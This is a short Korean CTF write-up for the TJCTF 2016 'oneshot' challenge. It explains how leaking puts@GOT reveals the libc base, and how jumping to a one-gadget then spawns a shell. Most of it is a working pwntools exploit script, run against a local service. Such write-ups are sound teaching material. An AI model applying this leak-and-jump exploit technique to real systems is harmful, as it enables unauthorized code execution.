[TJCTF 2016] oneshot

소스코드는 되게 간단하다.

주소값을 입력하면 그 주소의 위치를 가르쳐준다. 그리고 원하는 주소로 이동을 할 수 있다.

libc 주소를 구할 수 있으므로, oneshot(magic) 가젯을 이용하여 문제를 풀 수 있다.

(magic 가젯은 로컬과 xinetd로 돌아가는 서비스에서만 사용 가능)

[ Exploit Code ]

from pwn import *
from time import *
 
e = ELF('./oneshot')
 
main = 0x400646
puts_got = 0x600ad8
offset_puts = 0x06f690
#offset_system = 0x045390
#offset_str_bin_sh = 0x18cd57
offset_oneshot = 0xf1147#0x4526a
 
p = remote('127.0.0.1', 8888)
 
raw_input(">")
 
print p.recvuntil("Read location?")
p.sendline(str(puts_got))
print p.recvuntil("Value: ")
#print p.recv(18)
 
libc_addr = int(p.recv(18), 0) - offset_puts
oneshot_addr = libc_addr + offset_oneshot
 
print "[+] libc_addr = 0x%x" % libc_addr
print "[+] oneshot_addr = 0x%x" % oneshot_addr
 
print p.recvuntil("Jump location?")
p.sendline(str(oneshot_addr))
 
p.interactive()